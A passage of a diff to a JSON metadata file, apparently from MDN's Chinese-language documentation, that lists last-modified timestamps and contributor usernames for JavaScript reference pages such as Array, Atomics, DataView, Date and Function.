"xgqfrms-GitHub", + "zhuangyin", + "yiyaxueyu", + "k644606347", + "lihx_hit", + "MechanicianW", + "FlowingRiver", + "GTyexing", + "Ende93", + "aximario", + "helloguangxue", + "AlexChao", + "ziyunfei", + "teoli" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/some": { + "modified": "2020-10-15T21:26:00.318Z", + "contributors": [ + "SageX", + "simonzhao", + "Zohar727", + "Kuroo", + "lzszone", + "gqbre", + "lmislm", + "KangKai-fe", + "zhangchen", + "xgqfrms-GitHub", + "AlexChao", + "ziyunfei", + "teoli", + "yanhaijing1234" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/sort": { + "modified": "2020-10-15T21:17:18.762Z", + "contributors": [ + "810307015", + "xgqfrms", + "zhangchen", + "kaojistream", + "fscholz", + "ywjco", + "Mr-Li-admin", + "NuclearBlast", + "righttoe", + "JackFeng", + "MeCKodo", + "micheal-death", + "Feel-Joy", + "houbx", + "xgqfrms-GitHub", + "ziyunfei", + "stonewen", + "wuzhenquan", + "helloguangxue", + "Ende93", + "helinjiang", + "dameinliu", + "XingxianLI", + "tiansh", + "teoli", + "Oatn" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/splice": { + "modified": "2020-10-15T21:28:59.144Z", + "contributors": [ + "ThornWu", + "ttxs69", + "DouglasRyan", + "oopsguy", + "RainSlide", + "ifredom", + "zhuangyin", + "SphinxKnight", + "VinciXie", + "daijie", + "yonoel", + "dpwwwq", + "shibomeng", + "fscholz", + "Jiang-Xuan", + "zhipeng001", + "lemonboy233", + "ywjco", + "badfl", + "hawtim", + "Lemon-jie", + "KMKNKK", + "frankfang1990", + "FlySnails", + "xgqfrms-GitHub", + "NNNaix", + "Lemon-c", + "HUxiaoAlinNG", + "Rising_sun", + "w-halo", + "FlowingRiver", + "me-code", + "Ende93", + "Qin", + "huyue" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/toLocaleString": { + "modified": "2020-10-15T21:29:06.488Z", + "contributors": [ + "fscholz", + "zhangchen", + "badfl", + "zxhycxq", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/toSource": { + "modified": "2020-10-15T21:21:06.880Z", + "contributors": [ + "fscholz", + "badfl", + "teoli", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/toString": { + "modified": "2020-10-15T21:29:03.089Z", + "contributors": [ + "zhangchen", + "fscholz", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/unshift": { + "modified": "2020-10-15T21:23:36.187Z", + "contributors": [ + "benngai123", + "No_risk_atpresent", + "jinger7281", + "heeronchang", + "RainSlide", + "L9m", + "zhangchen", + "fscholz", + "xgqfrms-GitHub", + "AlexChao", + "ziyunfei", + "teoli", + "xfeng" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Array/values": { + "modified": "2020-10-15T21:37:23.141Z", + "contributors": [ + "Agcaiyun", + "johnao", + "RainSlide", + "SageX", + "fscholz", + "ywjco", + "redoc", + "xgqfrms-GitHub", + "Ende93", + "AlexChao", + "KingMario" + ] + }, + "Web/JavaScript/Reference/Global_Objects/ArrayBuffer": { + "modified": "2020-10-15T21:27:45.114Z", + "contributors": [ + "woshiqiang1", + "wallena3", + "Jiang-Xuan", + "Terry.Qiao", + "xgqfrms-GitHub", + "kameii", + "liyongleihf2006", + "maicss", + "teoli", + "Jijie.Chen", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/@@species": { + "modified": "2020-10-15T21:52:04.532Z", + "contributors": [ + "fscholz", + "Ende93" + ] + }, + "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/byteLength": { + "modified": "2020-10-15T21:37:49.462Z", + "contributors": [ + "fscholz", + "kameii", + "fred4444source" + ] + }, + "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/isView": { + "modified": "2020-10-15T21:37:49.247Z", + "contributors": [ + "Dyon", + "knightyun", + "fscholz", + "yunl819", + "fred4444source" + ] + }, + "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/slice": { + "modified": "2020-10-15T21:51:34.058Z", + "contributors": [ + "fscholz", + "kameii" + ] + }, + "Web/JavaScript/Reference/Global_Objects/AsyncFunction": { + "modified": "2020-10-15T21:50:47.192Z", + "contributors": [ + "Terry.Qiao", + "xgqfrms-GitHub", + "Ende93", + "_da" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics": { + "modified": "2020-10-15T21:47:39.816Z", + "contributors": [ + "xgqfrms", + "zhangchen", + "Terry.Qiao", + "LawrenceChenPro", + "JianrongYu", + "Ende93", + "Hearmen", + "weishuaikun", + "Spring_Winter_Wine" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/add": { + "modified": "2020-10-15T21:52:07.041Z", + "contributors": [ + "fscholz", + "RoXoM", + "JianrongYu", + "Ende93" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/and": { + "modified": "2020-10-15T21:52:05.452Z", + "contributors": [ + "fscholz", + "Ende93" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/compareExchange": { + "modified": "2020-10-15T21:52:07.140Z", + "contributors": [ + "fscholz", + "Ende93" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/exchange": { + "modified": "2020-10-15T21:52:04.443Z", + "contributors": [ + "fscholz", + "Ende93" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/isLockFree": { + "modified": "2020-10-15T21:52:17.441Z", + "contributors": [ + "fscholz", + "eyfor", + "Mocuishle" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/load": { + "modified": "2020-10-15T21:58:11.479Z", + "contributors": [ + "fscholz", + "Mukti" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/notify": { + "modified": "2020-10-15T22:21:48.950Z", + "contributors": [ + "lizhongzhen11", + "lifankohome" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/or": { + "modified": "2020-10-15T22:21:50.539Z", + "contributors": [ + "lifankohome" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/store": { + "modified": "2020-10-15T21:57:10.970Z", + "contributors": [ + "fscholz", + "zouyang1230", + "shenrongliu" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/sub": { + "modified": "2020-10-15T22:24:45.287Z", + "contributors": [ + "BadmasterY" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/wait": { + "modified": "2020-10-15T22:21:34.534Z", + "contributors": [ + "hanalice", + "Jinyingyi" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Atomics/xor": { + "modified": "2020-10-15T22:24:45.064Z", + "contributors": [ + "BadmasterY" + ] + }, + "Web/JavaScript/Reference/Global_Objects/BigInt": { + "modified": "2020-10-15T22:12:07.852Z", + "contributors": [ + "YouHeng", + "BadmasterY", + "dstyxy", + "fefe982", + "ddztomcat", + "c412216887", + "lovue" + ] + }, + "Web/JavaScript/Reference/Global_Objects/BigInt/BigInt": { + "modified": "2020-10-15T22:25:55.480Z", + "contributors": [ + "wallena3" + ] + }, + "Web/JavaScript/Reference/Global_Objects/BigInt/asIntN": { + "modified": "2020-10-15T22:24:46.833Z", + "contributors": [ + "BadmasterY" + ] + }, + "Web/JavaScript/Reference/Global_Objects/BigInt/asUintN": { + "modified": "2020-10-15T22:24:47.578Z", + "contributors": [ + "BadmasterY" + ] + }, + "Web/JavaScript/Reference/Global_Objects/BigInt/toLocaleString": { + "modified": "2020-10-15T22:24:47.615Z", + "contributors": [ + "BadmasterY" + ] + }, + "Web/JavaScript/Reference/Global_Objects/BigInt/toString": { + "modified": "2020-10-15T22:24:48.189Z", + "contributors": [ + "BadmasterY" + ] + }, + "Web/JavaScript/Reference/Global_Objects/BigInt/valueOf": { + "modified": "2020-10-15T22:24:48.266Z", + "contributors": [ + "BadmasterY" + ] + }, + "Web/JavaScript/Reference/Global_Objects/BigInt64Array": { + "modified": "2020-10-15T22:17:01.806Z", + "contributors": [ + "vent", + "SDUTWSL" + ] + }, + "Web/JavaScript/Reference/Global_Objects/BigUint64Array": { + "modified": "2020-10-15T22:20:32.429Z", + "contributors": [ + "liruiqi" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Boolean": { + "modified": "2020-11-05T03:24:53.922Z", + "contributors": [ + "SphinxKnight", + "184289542", + "Yayure", + "snail-xx", + "zeyongTsai", + "Terry.Qiao", + "comyn", + "zhangchen", + "SmluVFpI", + "righttoe", + "Hugh", + "xgqfrms-GitHub", + "Folgore", + "emctoo", + "slientomorrr", + "yenshen", + "ziyunfei", + "teoli" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Boolean/toSource": { + "modified": "2020-10-15T21:51:59.093Z", + "contributors": [ + "fscholz", + "Grizzly-Eric" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Boolean/toString": { + "modified": "2020-10-15T21:28:54.689Z", + "contributors": [ + "fscholz", + "zhangchen", + "yenshen", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Boolean/valueOf": { + "modified": "2020-10-15T21:28:53.640Z", + "contributors": [ + "fscholz", + "zhangchen", + "yenshen", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView": { + "modified": "2020-10-15T21:34:38.297Z", + "contributors": [ + "wenshui2008", + "RainSlide", + "jason-grimm", + "Jiang-Xuan", + "Terry.Qiao", + "liyongleihf2006", + "Taoja", + "xiaokk06", + "Ende93", + "NIGHTEAGLE" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/buffer": { + "modified": "2020-10-15T21:52:04.673Z", + "contributors": [ + "fscholz", + "wizardforcel", + "holynewbie" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/byteLength": { + "modified": "2020-10-15T21:52:04.538Z", + "contributors": [ + "fscholz", + "wizardforcel", + "holynewbie" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/byteOffset": { + "modified": "2020-10-15T21:52:05.195Z", + "contributors": [ + "fscholz", + "wizardforcel", + "holynewbie" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/getBigInt64": { + "modified": "2020-10-15T22:21:33.559Z", + "contributors": [ + "fade-vivida", + "SilverTime" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/getBigUint64": { + "modified": "2020-10-15T22:22:15.035Z", + "contributors": [ + "jinger7281" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/getFloat32": { + "modified": "2020-10-15T21:49:48.544Z", + "contributors": [ + "wenshui2008", + "758915145", + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/getFloat64": { + "modified": "2020-10-15T21:49:48.242Z", + "contributors": [ + "758915145", + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/getInt16": { + "modified": "2020-10-15T21:49:47.595Z", + "contributors": [ + "knightyun", + "758915145", + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/getInt32": { + "modified": "2020-10-15T21:49:48.330Z", + "contributors": [ + "758915145", + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/getInt8": { + "modified": "2020-10-15T21:44:13.950Z", + "contributors": [ + "758915145", + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/getUint16": { + "modified": "2020-10-15T21:49:47.729Z", + "contributors": [ + "758915145", + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/getUint32": { + "modified": "2020-10-15T21:49:47.551Z", + "contributors": [ + "758915145", + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/getUint8": { + "modified": "2020-10-15T21:44:16.655Z", + "contributors": [ + "758915145", + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/setBigInt64": { + "modified": "2020-10-15T22:24:55.568Z", + "contributors": [ + "wenshui2008" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/setBigUint64": { + "modified": "2020-10-15T22:24:53.419Z", + "contributors": [ + "wenshui2008" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/setFloat32": { + "modified": "2020-10-15T21:49:50.076Z", + "contributors": [ + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/setFloat64": { + "modified": "2020-10-15T21:49:50.505Z", + "contributors": [ + "farteryhr", + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/setInt16": { + "modified": "2020-10-15T21:49:50.736Z", + "contributors": [ + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/setInt32": { + "modified": "2020-10-15T21:49:50.027Z", + "contributors": [ + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/setInt8": { + "modified": "2020-10-15T21:37:32.797Z", + "contributors": [ + "fscholz", + "Taoja", + "mzhejiayu" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/setUint16": { + "modified": "2020-10-15T21:49:49.541Z", + "contributors": [ + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/setUint32": { + "modified": "2020-10-15T21:49:50.144Z", + "contributors": [ + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/DataView/setUint8": { + "modified": "2020-10-15T21:49:48.203Z", + "contributors": [ + "fscholz", + "Taoja" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date": { + "modified": "2020-10-19T08:07:05.768Z", + "contributors": [ + "SphinxKnight", + "songzeng2016", + "ZhangXianWei", + "johnao", + "oujielong", + "striveyan", + "fefe982", + "Mr_z", + "litmonw", + "RainSlide", + "jackylz", + "fscholz", + "VAN666", + "liuzeyafzy", + "whinc", + "sharp-c", + "distums", + "helloguangxue", + "zhang384579631", + "yenshen", + "fuchao2012", + "hikarievo", + "teoli", + "littleVege", + "AlexChao", + "ziyunfei", + "liminjun", + "confusedwu", + "Mickeyboy", + "Mgjbot" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/@@toPrimitive": { + "modified": "2020-10-15T22:06:53.986Z", + "contributors": [ + "pea3nut" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/Date": { + "modified": "2020-10-15T22:28:18.123Z", + "contributors": [ + "lztom2046" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/UTC": { + "modified": "2020-10-15T21:28:25.934Z", + "contributors": [ + "tclzcja", + "fscholz", + "Hugh", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getDate": { + "modified": "2020-10-15T21:03:50.488Z", + "contributors": [ + "hsqin", + "fscholz", + "teoli", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getDay": { + "modified": "2020-10-15T21:03:58.429Z", + "contributors": [ + "HFatBird", + "fscholz", + "teoli", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getFullYear": { + "modified": "2020-10-15T21:03:49.040Z", + "contributors": [ + "fscholz", + "zhangchen", + "xqin", + "teoli", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getHours": { + "modified": "2020-10-15T21:03:54.198Z", + "contributors": [ + "fscholz", + "teoli", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds": { + "modified": "2020-10-15T21:03:36.395Z", + "contributors": [ + "fscholz", + "teoli", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getMinutes": { + "modified": "2020-10-15T21:03:39.835Z", + "contributors": [ + "fscholz", + "teoli", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getMonth": { + "modified": "2020-10-15T21:03:43.325Z", + "contributors": [ + "fscholz", + "viko16", + "Ende93", + "teoli", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getSeconds": { + "modified": "2020-10-15T21:03:45.760Z", + "contributors": [ + "fscholz", + "teoli", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getTime": { + "modified": "2020-10-15T21:28:11.731Z", + "contributors": [ + "YISHI", + "fscholz", + "Ende93", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset": { + "modified": "2020-10-15T21:28:12.331Z", + "contributors": [ + "daix6", + "fscholz", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCDate": { + "modified": "2020-10-15T21:33:57.569Z", + "contributors": [ + "fscholz", + "saintwinkle" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCDay": { + "modified": "2020-10-15T21:33:56.103Z", + "contributors": [ + "fscholz", + "saintwinkle" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear": { + "modified": "2020-10-15T21:33:57.710Z", + "contributors": [ + "fscholz", + "saintwinkle" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCHours": { + "modified": "2020-10-15T21:34:04.488Z", + "contributors": [ + "fscholz", + "saintwinkle" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds": { + "modified": "2020-10-15T21:34:05.550Z", + "contributors": [ + "fscholz", + "saintwinkle" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes": { + "modified": "2020-10-15T21:34:04.468Z", + "contributors": [ + "fscholz", + "saintwinkle" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth": { + "modified": "2020-10-15T21:34:04.629Z", + "contributors": [ + "fscholz", + "saintwinkle" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds": { + "modified": "2020-10-15T21:34:04.630Z", + "contributors": [ + "fscholz", + "saintwinkle" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/getYear": { + "modified": "2020-10-15T21:28:12.583Z", + "contributors": [ + "fscholz", + "Edith_Ren", + "teoli", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/now": { + "modified": "2020-10-15T21:21:13.943Z", + "contributors": [ + "RainSlide", + "fscholz", + "Ende93", + "AlexChao", + "ziyunfei", + "teoli", + "StuPig" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/parse": { + "modified": "2020-10-15T21:28:30.337Z", "contributors": [ - "weibangtuo", - "kidonng", + "lyh2668", + "fscholz", + "Tao-Quixote", + "hkuclion", + "distums", + "gqqnbig", + "yeliex", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setDate": { + "modified": "2020-10-15T21:28:14.248Z", + "contributors": [ + "jinger7281", + "fscholz", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setFullYear": { + "modified": "2020-10-15T21:28:11.404Z", + "contributors": [ + "fscholz", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setHours": { + "modified": "2020-10-15T21:28:14.385Z", + "contributors": [ + "fscholz", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds": { + "modified": "2020-10-15T21:28:19.563Z", + "contributors": [ + "fscholz", + "htitme", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setMinutes": { + "modified": "2020-10-15T21:28:16.896Z", + "contributors": [ + "fscholz", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setMonth": { + "modified": "2020-10-15T21:28:14.760Z", + "contributors": [ + "ZZES_REN", + "fscholz", + "luyouxin84", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setSeconds": { + "modified": "2020-10-15T21:28:14.577Z", + "contributors": [ + "fscholz", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setTime": { + "modified": "2020-10-15T21:28:10.430Z", + "contributors": [ + "dylanyg", + "fscholz", + "ziyunfei", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setUTCDate": { + "modified": "2020-10-15T21:34:46.724Z", + "contributors": [ + "fscholz", + "rubyisapm" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear": { + "modified": "2020-10-15T21:48:19.613Z", + "contributors": [ + "fscholz", + "zachary05" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setUTCHours": { + "modified": "2020-10-15T21:53:04.641Z", + "contributors": [ + "fscholz", + "haijianyang" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds": { + "modified": "2020-10-15T21:55:54.800Z", + "contributors": [ + "fscholz", + "yys" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes": { + "modified": "2020-10-15T22:00:10.646Z", + "contributors": [ + "fscholz", + "LiuYuan" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth": { + "modified": "2020-10-15T21:51:40.559Z", + "contributors": [ + "fscholz", + "wizardforcel", + "Jabinzou" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds": { + "modified": "2020-10-15T21:49:40.074Z", + "contributors": [ + "fscholz", + "wizardforcel", + "petrelselina" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/setYear": { + "modified": "2020-10-15T22:29:46.049Z", + "contributors": [ + "SDUTWSL" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toDateString": { + "modified": "2020-10-15T21:28:24.093Z", + "contributors": [ + "fscholz", + "teoli", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toGMTString": { + "modified": "2020-10-15T21:28:14.066Z", + "contributors": [ + "fscholz", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toISOString": { + "modified": "2020-10-15T21:28:16.900Z", + "contributors": [ + "fscholz", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toJSON": { + "modified": "2020-10-15T21:28:08.978Z", + "contributors": [ + "fscholz", + "KMKNKK", + "Cattla", + "helloguangxue", "yenshen", - "WayneCui", - "oopsguy", - "xgqfrms-GitHub" + "Yaty", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toLocaleDateString": { + "modified": "2020-10-15T21:28:17.098Z", + "contributors": [ + "fscholz", + "teoli", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toLocaleString": { + "modified": "2020-10-15T21:28:25.398Z", + "contributors": [ + "fscholz", + "wangerniu", + "liyongleihf2006", + "teoli", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString": { + "modified": "2020-10-15T21:28:22.937Z", + "contributors": [ + "fscholz", + "teoli", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toSource": { + "modified": "2020-10-15T22:00:19.218Z", + "contributors": [ + "fscholz", + "haipeng.liang" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toString": { + "modified": "2020-10-15T21:28:13.694Z", + "contributors": [ + "yunxu1019", + "fscholz", + "yenshen", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toTimeString": { + "modified": "2020-10-15T21:28:22.895Z", + "contributors": [ + "fscholz", + "teoli", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/toUTCString": { + "modified": "2020-10-15T21:28:16.518Z", + "contributors": [ + "fscholz", + "chesterchenn", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Date/valueOf": { + "modified": "2020-10-15T21:28:12.574Z", + "contributors": [ + "fscholz", + "Ende93", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Error": { + "modified": "2020-10-15T21:21:49.758Z", + "contributors": [ + "GuYue", + "IreneByron", + "zhangchen", + "ZhishengZhao", + "xgqfrms-GitHub", + "ngtmuzi", + "calidion", + "teoli", + "yenshen", + "Maple-Jan", + "evilpie" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Error/Stack": { + "modified": "2020-10-15T22:05:59.371Z", + "contributors": [ + "Zoeooo", + "gentlelynn" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Error/columnNumber": { + "modified": "2019-04-02T14:34:45.679Z", + "contributors": [ + "teoli", + "buckarooch" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Error/fileName": { + "modified": "2019-04-02T14:35:07.280Z", + "contributors": [ + "teoli", + "buckarooch" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Error/lineNumber": { + "modified": "2020-10-15T22:00:20.126Z", + "contributors": [ + "WayneCui" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Error/message": { + "modified": "2019-04-02T14:35:10.524Z", + "contributors": [ + "yenshen", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Error/name": { + "modified": "2019-07-05T00:02:19.372Z", + "contributors": [ + "yenshen", + "teoli", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Error/toSource": { + "modified": "2020-10-15T22:04:46.786Z", + "contributors": [ + "zxsunrise", + "yuchaoWu" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Error/toString": { + "modified": "2019-04-02T14:43:23.068Z", + "contributors": [ + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/EvalError": { + "modified": "2020-10-15T21:15:06.730Z", + "contributors": [ + "Tao-Quixote", + "Debugger-D", + "buckarooch", + "slientomorrr", + "teoli", + "Mickeyboy" + ] + }, + "Web/JavaScript/Reference/Global_Objects/FinalizationRegistry": { + "modified": "2020-10-15T22:33:55.419Z", + "contributors": [ + "LydiaYuan", + "xgqfrms" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Float32Array": { + "modified": "2019-03-23T22:55:04.546Z", + "contributors": [ + "lsvih", + "luojia", + "AlixWang" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Float64Array": { + "modified": "2019-03-23T22:27:51.833Z", + "contributors": [ + "lsvih" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Function": { + "modified": "2020-10-15T21:07:16.185Z", + "contributors": [ + "johnao", + "RainSlide", + "Bjkb", + "xuyewen288", + "ywjco", + "Jiang-Xuan", + "xgqfrms-GitHub", + "Ende93", + "webery", + "FredWe", + "teoli", + "chbdetta", + "chyee", + "ziyunfei", + "iwo" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Function/apply": { + "modified": "2020-10-15T21:21:35.017Z", + "contributors": [ + "leafwingstar", + "熊英明", + "zhanjunhao", + "wisecamle", + "zhangchen", + "Plortinus", + "MoYuLing", + "tangj1206", + "Humyang", + "Leivy", + "xgqfrms-GitHub", + "Ende93", + "JJPandari", + "hbkdsm", + "paddingme", + "onetree", + "AlexChao", + "ziyunfei", + "Nebu1aX", + "teoli", + "endlesswind" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Function/arguments": { + "modified": "2019-08-06T06:43:10.243Z", + "contributors": [ + "omz-one", + "ziyunfei", + "WangXiZhu", + "teoli", + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Function/bind": { + "modified": "2020-10-15T21:07:21.219Z", + "contributors": [ + "xx1124961758", + "oxyg3n", + "lzfee0227", + "FeiJian984", + "TMM-eng", + "C2015", + "RainSlide", + "StuPig", + "williantian", + "hansnow", + "bananafishM", + "z1yuan", + "Arichy", + "Maiko", + "wisecamle", + "zhangchen", + "zjffun", + "AllanJian", + "kuleyu", + "LiXin", + "baidufe.hc", + "yuwanlin", + "yangyh1911", + "gwiron", + "lclscofield", + "xgqfrms-GitHub", + "zhengkai2001", + "Katherina-Miao", + "jyjsjd", + "Jiavan", + "riversYeHaha", + "xie-qianyue", + "sensui7", + "Ende93", + "manfredHu", + "cqzhao", + "prawn", + "iplus26", + "teoli", + "paddingme", + "TooBug", + "SDLyu", + "bin", + "ziyunfei", + "stylechen" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Function/call": { + "modified": "2020-10-15T21:07:14.576Z", + "contributors": [ + "Blackie", + "dcyu007", + "zzykillu", + "RainSlide", + "Maiko", + "Sally-he", + "whidy", + "Jiang-Xuan", + "fanerge", + "voidzhou", + "xgqfrms-GitHub", + "micheal-death", + "windluo", + "azhi09", + "ChemiCoder", + "Ende93", + "teoli", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Function/caller": { + "modified": "2019-08-06T03:21:58.429Z", + "contributors": [ + "teoli", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Function/displayName": { + "modified": "2019-05-15T23:11:48.055Z", + "contributors": [ + "liuchuzhang", + "lilng", + "teoli", + "minstrel1977", + "webery" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Function/length": { + "modified": "2020-10-15T21:02:07.304Z", + "contributors": [ + "zhangchen", + "gqbre", + "chudu", + "Ende93", + "guosimin", + "yenshen", + "teoli", + "ziyunfei", + "tiansh" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Function/name": { + "modified": "2020-10-15T21:02:08.194Z", + "contributors": [ + "zhangchen", + "inickel", + "minstrel1977", + "xgqfrms-GitHub", + "Marco_dev", + "teoli", + "ziyunfei" ] }, - "Web/HTTP/Link_prefetching_FAQ": { - "modified": "2019-10-09T13:08:42.395Z", + "Web/JavaScript/Reference/Global_Objects/Function/toSource": { + "modified": "2019-03-23T23:36:01.366Z", "contributors": [ - "Yayure", - "vivaxy", - "iamyy", - "xgqfrms-GitHub" + "teoli", + "ziyunfei" ] }, 